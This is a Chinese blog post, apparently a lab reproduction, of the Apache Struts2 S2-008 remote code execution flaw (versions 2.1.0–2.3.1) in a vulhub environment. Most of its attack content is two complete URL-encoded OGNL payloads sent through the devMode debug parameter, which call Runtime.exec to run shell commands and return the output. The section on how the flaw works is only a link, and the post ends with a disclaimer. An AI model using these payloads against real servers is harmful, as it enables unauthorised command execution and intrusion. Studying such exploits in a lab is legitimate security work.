漏洞复现-s2-008-RCE
作者:互联网
0x00 实验环境
攻击机:Ubuntu
靶场:vulhub搭建的靶场环境
0x01 影响版本
影响版本:2.1.0 - 2.3.1
形成原因:devMode下支持直接执行OGNL表达式,Cookie 拦截器错误配置可造成 OGNL 表达式执行,生产环境一般不会存在该漏洞,但是开了debug模式就可以直接执行命令。
0x02 漏洞复现
直接使用如下payload:
payload1:devmode.action?debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boolean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls+-al+./').getInputStream()))
payload2:devmode.action?debug=command&expression=%23context["xwork.MethodAccessor.denyMethodExecution"]%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec("ls+-al").getInputStream()%2C%23b%3Dnew java.io.InputStreamReader(%23a)%2C%23c%3Dnew java.io.BufferedReader(%23b)%2C%23d%3Dnew char[50000]%2C%23c.read(%23d)%2C%23genxor%3D%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()
使用最新版工具可直接检测出来,其他漏洞类型是因为都在这个版本内,所以也存在其他类似的漏洞:
0x03 漏洞原理
http://www.hackdig.com/12/hack-557751.htm
0x04 参考文献
http://www.hackdig.com/12/hack-557751.htm
0x05 免责声明
本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!
标签:2C%,s2,23context,漏洞,2c%,debug,RCE,008,com 来源: https://www.cnblogs.com/cute-puli/p/16454182.html